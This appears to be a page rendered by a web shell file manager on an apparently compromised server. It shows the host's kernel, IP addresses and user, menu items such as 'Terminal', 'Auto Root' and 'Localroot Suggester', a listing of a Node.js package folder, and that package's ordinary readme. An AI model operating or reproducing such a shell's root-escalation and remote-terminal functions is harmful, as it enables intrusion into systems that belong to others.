Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.148.217.66
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
path-dirname /
Delete
Unzip
Name
Size
Permission
Date
Action
index.js
3.52
KB
-rw-rw-r--
2022-08-30 11:49
license
1.1
KB
-rw-rw-r--
2022-08-30 11:49
package.json
463
B
-rw-rw-r--
2022-08-30 11:49
readme.md
1.04
KB
-rw-rw-r--
2022-08-30 11:49
Save
Rename
# path-dirname [](https://travis-ci.org/es128/path-dirname) > Node.js [`path.dirname()`](https://nodejs.org/api/path.html#path_path_dirname_path) [ponyfill](https://ponyfill.com) This was needed in order to expose `path.posix.dirname()` on Node.js v0.10 ## Install ``` $ npm install --save path-dirname ``` ## Usage ```js const pathDirname = require('path-dirname'); pathDirname('/home/foo'); //=> '/home' pathDirname('C:\\Users\\foo'); //=> 'C:\\Users' pathDirname('foo'); //=> '.' pathDirname('foo/bar'); //=> 'foo' //Using posix version for consistent output when dealing with glob escape chars pathDirname.win32('C:\\Users\\foo/\\*bar'); //=> 'C:\\Users\\foo/' pathDirname.posix('C:\\Users\\foo/\\*bar'); //=> 'C:\\Users\\foo' ``` ## API See the [`path.dirname()` docs](https://nodejs.org/api/path.html#path_path_dirname_path). ### pathDirname(path) ### pathDirname.posix(path) POSIX specific version. ### pathDirname.win32(path) Windows specific version. ## License MIT